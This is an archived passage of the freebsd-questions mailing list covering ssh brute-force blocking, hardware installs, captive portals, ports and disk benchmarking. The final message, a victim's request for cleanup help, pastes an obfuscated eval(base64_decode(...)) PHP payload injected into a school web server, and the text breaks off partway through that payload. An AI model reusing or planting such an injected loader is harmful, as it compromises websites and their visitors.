Wed Dec 3 23:17:26 2008 Subject: Firewalls using a DNSbl (and distributed ssh attacks) In-Reply-To: <20081204025357.GD19575@torus.slightlystrange.org> References: <20081204025357.GD19575@torus.slightlystrange.org> Message-ID: On Wed, Dec 3, 2008 at 7:53 PM, Daniel Bye wrote: > On Wed, Dec 03, 2008 at 07:43:26PM -0600, Jeffrey Goldberg wrote: > > It's not a big issue, but I'm wondering if there is a DNSBl that lists > > IPs that are engaging in brute force ssh attacks. And if there is > > such a list, is there a way to integrate that information into a > > firewall or sshd. > > > > As I've said this really isn't a big issue for me, as the brute force > > attempts at sshd are nothing but an annoyance as I review logs. > > > > The attacks that I'm seeing appear to be coordinated and distributed. > > That is, there will be one attempt on username "fred" from one IP > > immediately followed by an attempt on "freddy" from another IP > > followed by an attempt on "fredrick" from a third source and so on. > > I don't know of any DNSbl type service, but I am using DenyHosts with > very great success. Its synchronisation feature allows participating > instances of the script to share IP addresses of misbehaving hosts, > so as soon as an address hits the database, it's only a matter of an > hour or so before your instance can start blocking it. > > The basic setup uses TCP wrappers to block offending hosts, but I am > using the datafile it maintains as a file-based table in pf, which I > reload periodically from a cronjob. > > Dan > > -- > Daniel Bye > _ > ASCII ribbon campaign ( ) > - against HTML, vCards and X > - proprietary attachments in e-mail / \ > Depending on the role of the machine, I've started to firewall off remote ssh connects to my machines except only the hosts I use. A dyndns hostname + pf querying DNS and the static IPs that I have at the office. All others don't need access, and if push comes to shove, I can update dyndns IP with anything I'm behind, allow DNS propogation, (hour?) and then connect. works quite well. pf example: block in on fxp0 all pass in on fxp0 inet proto tcp from { , "sub.dyndnsorg.tld" } to port 22 keep state flags S/SA When you implement this, the firewall sees no existing state (I think) and will kill your connection. If you didn't typo the firewall rule, you can connect right back. --TJ From tajudd at gmail.com Wed Dec 3 23:29:17 2008 From: tajudd at gmail.com (Tim Judd) Date: Wed Dec 3 23:29:24 2008 Subject: Installation on a Dell Poweredge R805 In-Reply-To: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> References: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> Message-ID: On Tue, Dec 2, 2008 at 10:57 AM, Chris Boyd wrote: > I'm having an issue installing FreeBSD 7 AMD64 on a Dell Poweredge R805. > > The system starts to boot, throws several mpt_cam_event 0x12 and 0x16 > errors, presents the boot menu, and then crashes with a "Fatal trap 12: page > fault while in kernel mode" and then wants to reboot. > > This is a dual CPU, quad core Opteron 2352 system with 8GB RAM and dual SAS > on a PERC6 controller. I've tried various memory and BIOS settings to see > if I can get it to boot, but it either does the bits describe above, or > hangs hard. > > Any and all suggestions appreciated. > > --Chris > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > 1: PERC6 is not listed as supported, last time I checked. 2: Dells are notorious for not working very well with !Windows, !Linux (haven't tried something like Open Solaris) I have a new PE2950's at the office, FreeBSD sees everything, including the PERC6i controller, but the motherboard NICs are suffering horribly bad for performance. Ping flood from the console to it's own IP address bound to the NIC looses 30% of it's packets. Also, what's "NIC2" on the motherboard/case labeling, is the first NIC FreeBSD finds. NIC1 is the 2nd nic FreeBSD finds. Just oddities. Honestly, I would either stick with IBM or iXsystems branded machines. Others may have success, but those two just seem the best I've seen. Custom builds are always an option too, and the warranties for custom builds are often equal, or longer, than a brand-name machine, but you have to talk to each device vendor, instead of "Dell" for example. --Tim From awd at awdcomp.net Wed Dec 3 23:41:57 2008 From: awd at awdcomp.net (Andrew) Date: Wed Dec 3 23:42:03 2008 Subject: Firewall with bridged interfaces and captive portal In-Reply-To: <200812040337.mB43bGHE015979@banyan.cs.ait.ac.th> References: <200812030508.mB358SUx095910@banyan.cs.ait.ac.th> <20081203222520.GA19693@hal.rescomp.berkeley.edu> <200812040337.mB43bGHE015979@banyan.cs.ait.ac.th> Message-ID: <493789A0.40204@awdcomp.net> Olivier Nicole wrote: > Hi Chris, > >>> I need to implement a firewall with bridged interfaces that offers >>> captive portal (authentication before opening the traffic). >> We are using a combination of squid+ipfw. Although we are NATing the >> users, that really just introduces needless complexity that could be >> avoided with a bridging solution. >> >> Our web-app/captive portal/authentication program is written in-house; >> it's very tightly integrated with several existing pieces of >> infrastructure. I don't know if there are any solutions that will work >> out-of-the-box. >> >> I can get you more technical details if this is a direction you'd be >> interested in moving. > > Long time ago I have been toying with ipf (for the genral firewall) > and NoCat+ipfw for the captive portal. > > But that did not work too well, so any technical information will be > appreciated :) > > My long term vision is a quite integrated thing, where users that read > their email and authenticate to POP3/IMAP would be granted the access > without the need to authenticate to the web portal. > For squid have a look at the option auth_param You are able to use your own authorisation app/script that can check all kinds of places to see if that IP is allowed access. For example I have a client that has samba on his transparent proxy. Each user has a drive letter mapped to that share. The script defined by auth_param just greps the ip from 'smbstatus -p' and uses the username with that IP to tell squid what user it is for the logs. There would be nothing to stop the script to check ipfw, to see if there is rules for that ip to allow access and then if there isn't, add them. To remove the ipfw rules you could have a cron script that checks the last packet time (using -t or -T) and if its over a certain time then remove it (preferably with the checking of where you got the initial check to see if the user is valid or not). HTH cya Andrew > Best regards, > > Olivier > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From rock_on_the_web at comcen.com.au Thu Dec 4 00:27:21 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Thu Dec 4 00:27:36 2008 Subject: UFS partitioning In-Reply-To: <18743.14461.951431.581673@jerusalem.litteratus.org> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> Message-ID: <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > Da Rock writes: > > > Excuse my nose in here- I just have a couple of questions. > > > > 1) It IS possible to boot from a dedicated disk? > > Yes. Can't remember the last time I used anything else. So you've never booted from a disk that has been partitioned as a file system? From rock_on_the_web at comcen.com.au Thu Dec 4 00:27:21 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Thu Dec 4 00:27:37 2008 Subject: FreeBSD 7.0 problems Message-ID: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> I have just installed FreeBSD 7.0 on a laptop I just cleaned up. It used to run Fedora linux (I have a tv card which used to work on it, but now I can't get the drivers to work again), and it got very cluttered and started getting issues. The hardware is fine though- it just returned from servicing under warranty and nearly every component was replaced. Ergo I can't fault the hardware in any way. I tried FreeBSD 7.0 before, but it wasn't working properly for me and I didn't have the time then to get all the reports to make a PR. Now, I decided to sort this out- finally! The issues I'm having are similar to before, but not quite the same (keeping in mind that I didn't take much time with it before). They are: The wifi driver complains of timeout errors. (Intel iwi 2200bg - last time I tried had a ralink wifi) Xorg has DRI errors - fills /var and tries to kill the whole system (I'm probably exaggerating, but it felt like it at least) dhclient loses the IP constantly. So: How do I present these issues for review? What information is needed? Anything I've missed? This is the first time I've had to do this (which I think is pretty good- goes to show how well the OS is built), so I'm a little green in this regard. Cheers From fbsd.questions at rachie.is-a-geek.net Thu Dec 4 00:45:19 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Thu Dec 4 00:45:26 2008 Subject: FreeBSD 7.0 problems In-Reply-To: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> References: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> Message-ID: <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> On Thursday 04 December 2008 03:06:34 Da Rock wrote: > I have just installed FreeBSD 7.0 on a laptop I just cleaned up. It used > to run Fedora linux (I have a tv card which used to work on it, but now > I can't get the drivers to work again), and it got very cluttered and > started getting issues. The hardware is fine though- it just returned > from servicing under warranty and nearly every component was replaced. > Ergo I can't fault the hardware in any way. > > I tried FreeBSD 7.0 before, but it wasn't working properly for me and I > didn't have the time then to get all the reports to make a PR. > > Now, I decided to sort this out- finally! The issues I'm having are > similar to before, but not quite the same (keeping in mind that I didn't > take much time with it before). They are: > > The wifi driver complains of timeout errors. (Intel iwi 2200bg - last > time I tried had a ralink wifi) > Xorg has DRI errors - fills /var and tries to kill the whole system (I'm > probably exaggerating, but it felt like it at least) > dhclient loses the IP constantly. > > So: How do I present these issues for review? What information is > needed? Anything I've missed? > > This is the first time I've had to do this (which I think is pretty > good- goes to show how well the OS is built), so I'm a little green in > this regard. For starters: * dmesg * pciconf -lv * if you have omni-positional antennas on the AP or not * if the dri problems go away when dri is disabled and no other symptoms show up * /var/log/Xorg.0.log without the abundance of dri errors * ls /var/db/pkg/ |grep 'xf86-video-*' * Why you installed 7.0 and not 7.1-BETA2 -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From valentin.bud at gmail.com Thu Dec 4 01:12:56 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Thu Dec 4 01:13:03 2008 Subject: loader.conf issues In-Reply-To: <20081203103803.V43611@emmett.excelsus.com> References: <20081203103803.V43611@emmett.excelsus.com> Message-ID: <139b44430812040112j44f0a54dx931bc06d88641ea2@mail.gmail.com> On Wed, Dec 3, 2008 at 5:45 PM, Weldon S Godfrey 3 wrote: > > I did a quick search for this and didn't see anyone seeing this. > > I am running 7.0-PRERELEASE amd64 > > This is my loader.conf: > > vm.kmem_size_max="16106127360" > vm.kmem_size="1073741824" > kern.maxvnodes="800000" > > However, this is what happens after reboot: > > store1# sysctl -a | grep kmem > vm.kmem_size_scale: 3 > vm.kmem_size_max: 3221225472 > vm.kmem_size_min: 0 > vm.kmem_size: 1073741824 > store1# sysctl -a | grep kern.maxvn > kern.maxvnodes: 100000 > store1# > > > Is there some issue with vm.kmem_size_max being larger than 3G? If this has > been fixed, let me know. I am using 7.0-RELEASE loader from amd64 iso since > for some reason, when I complile a new loader on this Dell 2950-iii, I get > an unusable loader (it just hangs before the screen to select safe mode, > single user mode, etc). Quote Jeremy Chadwich talking about vm.kmem_size: "1) Consider increasing it from 512M to something like 1.5GB; do not increase it past that on RELENG_7, as there isn't support for more than 2GB total. For example, on a 1GB memory machine, I often recommend 768M. On 2GB machines, 1536M. You will need to run -CURRENT if you want more." a great day, v > > Thanks, > > Weldon > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From thavinci at thavinci.za.net Thu Dec 4 01:26:12 2008 From: thavinci at thavinci.za.net (Marcel Grandemange) Date: Thu Dec 4 01:26:19 2008 Subject: Downgrading Ports Message-ID: <025d01c955f2$4856e270$d904a750$@za.net> Good Day Guys. Im wondering how can one downgrade ports? And I don't mean installed ports (portdowngrade) , I mean the actual ports system. I have found the freeradius2 port to be broken and can't install it therefore I would like to downgrade ports to try install an older version. Any advise? From ben at b1c1l1.com Thu Dec 4 02:08:50 2008 From: ben at b1c1l1.com (Benjamin Lee) Date: Thu Dec 4 02:09:21 2008 Subject: Downgrading Ports In-Reply-To: <025d01c955f2$4856e270$d904a750$@za.net> References: <025d01c955f2$4856e270$d904a750$@za.net> Message-ID: <4937AC23.1030203@b1c1l1.com> On 12/04/08 01:25, Marcel Grandemange wrote: > Good Day Guys. > > Im wondering how can one downgrade ports? > And I don't mean installed ports (portdowngrade) , I mean the actual ports > system. > > I have found the freeradius2 port to be broken and can't install it > therefore I would like to downgrade ports to try install an older version. > > > Any advise? See portdowngrade(1) -- it doesn't do what you think it does. Use it to fetch an earlier version of the port and then reinstall it however you wish, e.g. using portupgrade(1). -- Benjamin Lee http://www.b1c1l1.com/ -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 898 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081204/0b952988/signature.pgp From Pieter.Donche at ua.ac.be Thu Dec 4 02:15:54 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Thu Dec 4 02:16:02 2008 Subject: newinstall and GPT Message-ID: If one would use GPT (GUID (Globally Unique Identifier) Partition Table right from the start of an installation of a new system, how must one proceed ? During install from a DVD, first you are asked to do a DOS-style ("fdisk") partitioning (slice making in FreeBSD parlance), which would be responded with "A=Use Entire Disk". What if you have, say 8 TB disk space (in RAID6, presenting itself as a single "unused" space), will fdisk be able to deal with that ? Has fdisk a limit as to the number of sectors (2^31- 1 = 2TB) ? If fdisk can't deal with that, what then ??? Bsdlabel, the next tool coming up after fdisk, uses 32-bit integers can't be used for 8 TB available space. Then GPT would have to be used (uses 64-bit integers). How to proceed ? Should your first during initial go for bsdlabel, and only use maximum 2TB, continue with the rest of the install and then, after install, use GPT to change the FreeBSD existing partitions? Any documents describing a FreeBSD install for large diskspaces with GPT ?? From keramida at ceid.upatras.gr Thu Dec 4 02:41:52 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Thu Dec 4 02:41:59 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: (Kevin Monceaux's message of "Wed, 3 Dec 2008 22:44:29 -0600 (CST)") References: <20081203202155.GA84629@slackbox.xs4all.nl> <87abbciqgr.fsf@kobe.laptop> Message-ID: <8763m04fdi.fsf@kobe.laptop> On Wed, 3 Dec 2008 22:44:29 -0600 (CST), Kevin Monceaux wrote: > On Thu, 4 Dec 2008, Giorgos Keramidas wrote: > >> For what it's worth, I've been reading newsgroups with more than 5000 >> messages in Gnus, a newsreader that runs inside GNU Emacs, and its >> memory usage has *never* reached 512 MB, > > I doubt I'd have a problem with newsgroups that small with either tin > or pan. How well does Gnus handle groups with 1,000,000 to 2,000,000+ > messages? My ISP dropped it's NNTP service a while back and I ended > up signing up with GigaNews. They have 240 day retention for binary > groups and 1,990 day retention for text groups. So, many of the group > archives on their servers are huge. Granted I don't need to retrieve > all the headers for a particular group, but it's not unusual for me to > be browsing a group with a header count in the five to six digit > range. Ouch. That's a really big group size. I have only opened groups with Gnus that contain upwards of 120,000 messages (my full email archive since around 2001). When I try to open the particular message archive, Gnus takes about 7-8 seconds to generate the full group summary, and the memory usage of Emacs jumps to about 150 MB. I haven't tried opening a *remote* group with more than a million messages, but I suspect this is going to take a while :-) > I finally gave up on tin a while back and switched to pan. It seems > to be less of a memory hog with larger groups than tin was. I prefer > TUI based programs over GUI based programs, but I think pan is worth > putting up with the GUI interface. Heh, I know what you mean. Most of the time the only GUI programs that run around here are Firefox for Javascript-heavy web pages and Evince or XPDF for reading PDF documents. > Well, I guess I'll probably need at least a few if I go with ZFS this > time around. It may be worth running an AMD64 version of FreeBSD if you plan to use ZFS for heavy-duty tasks. I am currently without a network connection, but I will seek the FreeBSD Wiki page about ZFS tuning, and will post a followup to this post. I installed FreeBSD/amd64 on my laptop to test ZFS a few weeks ago, and with the tuning mentioned in the Wiki it was rock-stable for every day work. The test installations I used were two: * One with GELI encryption for the full disk and ZFS running on top of the encrypted device. * One with ZFS only, using most of the disk (and a small 2 GB /boot partition for bootstrapping into a ZFS-root filesystem). Rink Spinger has posted an excellent blog post about running with a small /boot partition and ZFS on the root filesystem (and everything else). His blog post is what I used to guide me through the initial steps of the GELI+ZFS root setup. Look at http://planet.freebsdish.org/ for Rink's blog post, or if it has fallen off the top of the blog planet queue, Google for it. It may be a very handy guide to have around in printed dead-tree format when you attempt to install and tune ZFS. Cheers, and have fun with FreeBSD, Giorgos From thavinci at thavinci.za.net Thu Dec 4 02:54:21 2008 From: thavinci at thavinci.za.net (Marcel Grandemange) Date: Thu Dec 4 02:54:28 2008 Subject: Downgrading Ports In-Reply-To: <4937AC23.1030203@b1c1l1.com> References: <025d01c955f2$4856e270$d904a750$@za.net> <4937AC23.1030203@b1c1l1.com> Message-ID: <028901c955fe$9b7833d0$d2689b70$@za.net> > Good Day Guys. > > Im wondering how can one downgrade ports? > And I don't mean installed ports (portdowngrade) , I mean the actual > ports system. > > I have found the freeradius2 port to be broken and can't install it > therefore I would like to downgrade ports to try install an older version. > > > Any advise? >See portdowngrade(1) -- it doesn't do what you think it does. Use it to fetch an earlier version of the port and then reinstall it however you wish, e.g. using portupgrade(1). [root@devvm /usr/ports/net/freeradius2]# portdowngrade freeradius2 portdowngrade 0.6 by Heiner Eichmann Please note, that nothing is changed in the ports tree unless it is explicitly permitted in step 6! Seeking port freeradius2 ... not found [root@devvm /usr/ports/net/freeradius2]# ls Makefile distinfo files pkg-descr pkg-plist work I have used portdowngrade successfully on ports already installed, but doesn't work on a port not installed yet. Am I doing something wrong? From keramida at freebsd.org Thu Dec 4 03:08:25 2008 From: keramida at freebsd.org (Giorgos Keramidas) Date: Thu Dec 4 03:08:32 2008 Subject: Returning User With Filesystem/Memory Tuning Questions In-Reply-To: <8763m04fdi.fsf@kobe.laptop> (Giorgos Keramidas's message of "Thu, 04 Dec 2008 08:35:21 +0200") References: <20081203202155.GA84629@slackbox.xs4all.nl> <87abbciqgr.fsf@kobe.laptop> <8763m04fdi.fsf@kobe.laptop> Message-ID: <87iqq08ag3.fsf@kobe.laptop> On Thu, 04 Dec 2008 08:35:21 +0200, Giorgos Keramidas wrote: > Rink Spinger has posted an excellent blog post about running with a > small /boot partition and ZFS on the root filesystem (and everything > else). His blog post is what I used to guide me through the initial > steps of the GELI+ZFS root setup. Here it is: http://rink.nu/entry.php?id=105 From a at jenisch.at Thu Dec 4 03:38:09 2008 From: a at jenisch.at (Ewald Jenisch) Date: Thu Dec 4 03:38:15 2008 Subject: Tool for benchmark local disk vs. iSCSI Message-ID: <20081204113806.GA4578@aurora.oekb.co.at> Hi, To gain an understanding on the performance of iSCSI vs. local disk IO I'm looking for a tool. My first thought was about "iozone"... Any other ideas? Thanks much in advance for your help, -ewald From wojtek at wojtek.tensor.gdynia.pl Thu Dec 4 03:41:39 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Thu Dec 4 03:41:46 2008 Subject: Tool for benchmark local disk vs. iSCSI In-Reply-To: <20081204113806.GA4578@aurora.oekb.co.at> References: <20081204113806.GA4578@aurora.oekb.co.at> Message-ID: <20081204124039.W53495@wojtek.tensor.gdynia.pl> > > To gain an understanding on the performance of iSCSI vs. local disk IO > I'm looking for a tool. > > My first thought was about "iozone"... > > Any other ideas? for linear transfer:dd of course iSCSI disk will always be slower From unga888 at yahoo.com Thu Dec 4 03:42:52 2008 From: unga888 at yahoo.com (Unga) Date: Thu Dec 4 03:43:00 2008 Subject: FreeBSD cannot power down In-Reply-To: <706654.84147.qm@web57001.mail.re3.yahoo.com> Message-ID: <289102.92495.qm@web57001.mail.re3.yahoo.com> --- On Tue, 12/2/08, Unga wrote: > From: Unga > Subject: FreeBSD cannot power down > To: freebsd-questions@freebsd.org > Date: Tuesday, December 2, 2008, 11:22 PM > Hi all > > After a kernel recompilation on i386 RELENG_7 (not the > latest), I cannot power down the machine. > > kldstat shows acpi.ko is loaded. > > It used to switch off but now the "shutdown -p > now" halts the system with following messages: > The operating system has halted. > Please press any key to reboot. > > What else could I check to identify the cause? > > Appreciate your ideas on this. > I had a look at source code. The program flow seems to be is as follows: shutdown => (signals) init => reboot() => boot() => shutdown_final => shutdown_halt() => cpu_halt() I did not see which function is called to request a power down. The __asm__ ("hlt") doesn't power down, isn't it? Could you guys help me to identify how shutdown request a power down. Many thanks in advance. Unga From mail at ozzmosis.com Thu Dec 4 04:23:50 2008 From: mail at ozzmosis.com (andrew clarke) Date: Thu Dec 4 04:23:57 2008 Subject: freebsd-update through proxy with auth In-Reply-To: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> References: <4936612D.20753.3BEA7E4@d.forsyth.ru.ac.za> Message-ID: <20081204122345.GA53069@ozzmosis.com> On Wed 2008-12-03 10:36:29 UTC+0200, DA Forsyth (d.forsyth@ru.ac.za) wrote: > How do I get freebsd-update to fetch through a proxy that requires > authentication? I cannot find any options in the man pages. freebsd-update is a /bin/sh shell script. Looking at the source I can see it uses /usr/bin/fetch, so it's probably just a matter of reading the fetch(1) & fetch(3) manpages to get it to do what you want. If all else fails, you might be able to hack the freebsd-update script to use Wget instead of Fetch, but I doubt you'll need to go to that much trouble. From ivoras at freebsd.org Thu Dec 4 04:28:02 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Thu Dec 4 04:28:09 2008 Subject: Tool for benchmark local disk vs. iSCSI In-Reply-To: <20081204113806.GA4578@aurora.oekb.co.at> References: <20081204113806.GA4578@aurora.oekb.co.at> Message-ID: Ewald Jenisch wrote: > Hi, > > To gain an understanding on the performance of iSCSI vs. local disk IO > I'm looking for a tool. > > My first thought was about "iozone"... iozone is ok, but a little complex to run. Any disk benchmark will be ok - bonnie++, blogbench, etc. but each has an emphasis on a different aspect of the system. I think bonnie++ will be the simplest in your case. Make sure you know what you're benchmarking - for example if the iSCSI drive (target) is hosted as a file in a regular file system, it will be overly (and dangerously) cached on the server. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081204/3079cffb/signature.pgp From vince at unsane.co.uk Thu Dec 4 04:29:56 2008 From: vince at unsane.co.uk (Vincent Hoffman) Date: Thu Dec 4 04:30:03 2008 Subject: Tool for benchmark local disk vs. iSCSI In-Reply-To: <20081204113806.GA4578@aurora.oekb.co.at> References: <20081204113806.GA4578@aurora.oekb.co.at> Message-ID: <4937CD41.2000503@unsane.co.uk> Ewald Jenisch wrote: > Hi, > > To gain an understanding on the performance of iSCSI vs. local disk IO > I'm looking for a tool. > > My first thought was about "iozone"... > bonnie++ is ok too. > Any other ideas? > > Thanks much in advance for your help, > -ewald > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From derek at computinginnovations.com Thu Dec 4 04:30:29 2008 From: derek at computinginnovations.com (Derek Ragona) Date: Thu Dec 4 04:30:39 2008 Subject: what script is whacking root's files In-Reply-To: References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> Message-ID: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> At 01:11 AM 12/4/2008, Tim Judd wrote: >On Wed, Dec 3, 2008 at 7:44 PM, Kris Kennaway wrote: > > > Derek Ragona wrote: > > > >> I have a freshly installed 7.0 release server. The configuration files > >> (all dot files including .ssh etc.) in /root keep getting deleted. I > >> assume this is from a script running from periodic and can be set NOT to > >> delete these files. Can someone point me where I need to make this > change. > >> I have already combed through the handbook and mailing list archives. > >> > > > > There is no such standard script in FreeBSD. > > > > Kris > > > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to " > > freebsd-questions-unsubscribe@freebsd.org" > > > > >I'd make sure there's not something like a tmpfs/mfs filesystem that /root >is being used on. If / is on a ramdisk image of any kind, on each reboot, >it should disappear. > >Perhaps you should paste your fstab and current mounted filesystems as an >aid to debug. I didn't think it would be from the way the filesystems are mounted, so here's that information: cat /etc/fstab # Device Mountpoint FStype Options Dump Pass# /dev/da0s1b none swap sw 0 0 /dev/da0s1a / ufs rw 1 1 /dev/da0s1d /usr ufs rw 2 2 /dev/acd0 /cdrom cd9660 ro,noauto 0 0 mount /dev/da0s1a on / (ufs, local) devfs on /dev (devfs, local) /dev/da0s1d on /usr (ufs, local, soft-updates) /root is on /dev/da0s1a This particular server is running in a VM on a vmware esx 3.5 server. The server runs fine, but every so often the dot files disappear for root. I have not found the behavior to follow a reboot, but some period of time. Hence my suspicions it was a periodic script. -Derek -- This message has been scanned for viruses and dangerous content by MailScanner, and is believed to be clean. From mcoyles at horbury.wakefield.sch.uk Thu Dec 4 04:32:01 2008 From: mcoyles at horbury.wakefield.sch.uk (Marc Coyles) Date: Thu Dec 4 04:32:08 2008 Subject: Mass find/replace... Message-ID: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> Never had to do this so not sure where to start. Have googled and found some solutions but they don't particularly work (see below)... Someone has managed to inject php code into a PILE of php pages on my webserver... "" This basically brings up a pile of spam links. I need to do a find / replace throughout the entire of the /home/horbury/public_html directory... I've tried 'find /home/Horbury/ -type f | xargs grep -l base64_decode' to get a list of the files that require the operation performing, but it comes up with an error (xargs: unterminated quote) after a few results... Any tips? Basically to find the above and remove it... otherwise I'll have to resort to doing it in Dreamweaver and reuploading, which is a major pita, or restoring from a backup (after working out when exactly this happened and how - I'm guessing thru a teacher's out of date wordpress install somewhere). Marc A Coyles - Horbury School ICT Support Team Mbl: 07850 518106 Land: 01924 282740 ext 730 Helpdesk: 01924 282740 ext 2000 From vince at unsane.co.uk Thu Dec 4 04:52:07 2008 From: vince at unsane.co.uk (Vincent Hoffman) Date: Thu Dec 4 04:52:16 2008 Subject: Mass find/replace... In-Reply-To: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> Message-ID: <4937D272.9090108@unsane.co.uk> Marc Coyles wrote: > Never had to do this so not sure where to start. Have googled and found > some solutions but they don't particularly work (see below)... > > Someone has managed to inject php code into a PILE of php pages on my > webserver... > > " /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNz > ZXQoJEdMT0JBTFNbJ3NoX25vJ10pKXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhp > c3RzKCcvaG9tZS9ob3JidXJ5L3B1YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRv > ci9mY2tlZGl0b3IvZWRpdG9yL2ZpbGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMv > aWNvbnMvMzIvbWRsX3V0Zi5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS9ob3JidXJ5L3B1 > YmxpY19odG1sL3N0cmljdC9tb2R1bGVzL2Zja2VkaXRvci9mY2tlZGl0b3IvZWRpdG9yL2Zp > bGVtYW5hZ2VyL2Jyb3dzZXIvZGVmYXVsdC9pbWFnZXMvaWNvbnMvMzIvbWRsX3V0Zi5waHAn > KTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcp > KXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbiBnemRlY29kZSgk > UjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzMwODdB > MzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYw > NjczMjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRS > MEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMw > ODdBMzNFNEQzQTQ5N0JEODZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5 > MzE9dW5wYWNrKCd2JyxzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2 > OCwxMCwyKSk7JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMT0kUjBENTQyMzZE > QTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxWzFdOyRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4 > ODQ2MzVFNDErPTIrJFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMTt9aWYoJFI2 > QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY4KXskUjYwMTY5Q0QxQzQ3QjdBN0E4 > NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy > ODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31pZigk > UjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjE2KXskUjYwMTY5Q0QxQzQ3QjdB > N0E4NUFCNDRGODg0NjM1RTQxPXN0cnBvcygkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2 > NzMyODY4LGNocigwKSwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSsxO31p > ZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCJjIpeyRSNjAxNjlDRDFDNDdC > N0E3QTg1QUI0NEY4ODQ2MzVFNDErPTI7fSRSQzRBNUI1RTMxMEVENEMzMjNFMDRENzJBRkFF > MzlGNTM9Z3ppbmZsYXRlKHN1YnN0cigkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMy > ODY4LCRSNjAxNjlDRDFDNDdCN0E3QTg1QUI0NEY4ODQ2MzVFNDEpKTtpZigkUkM0QTVCNUUz > MTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPT09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNF > MDRENzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0 > 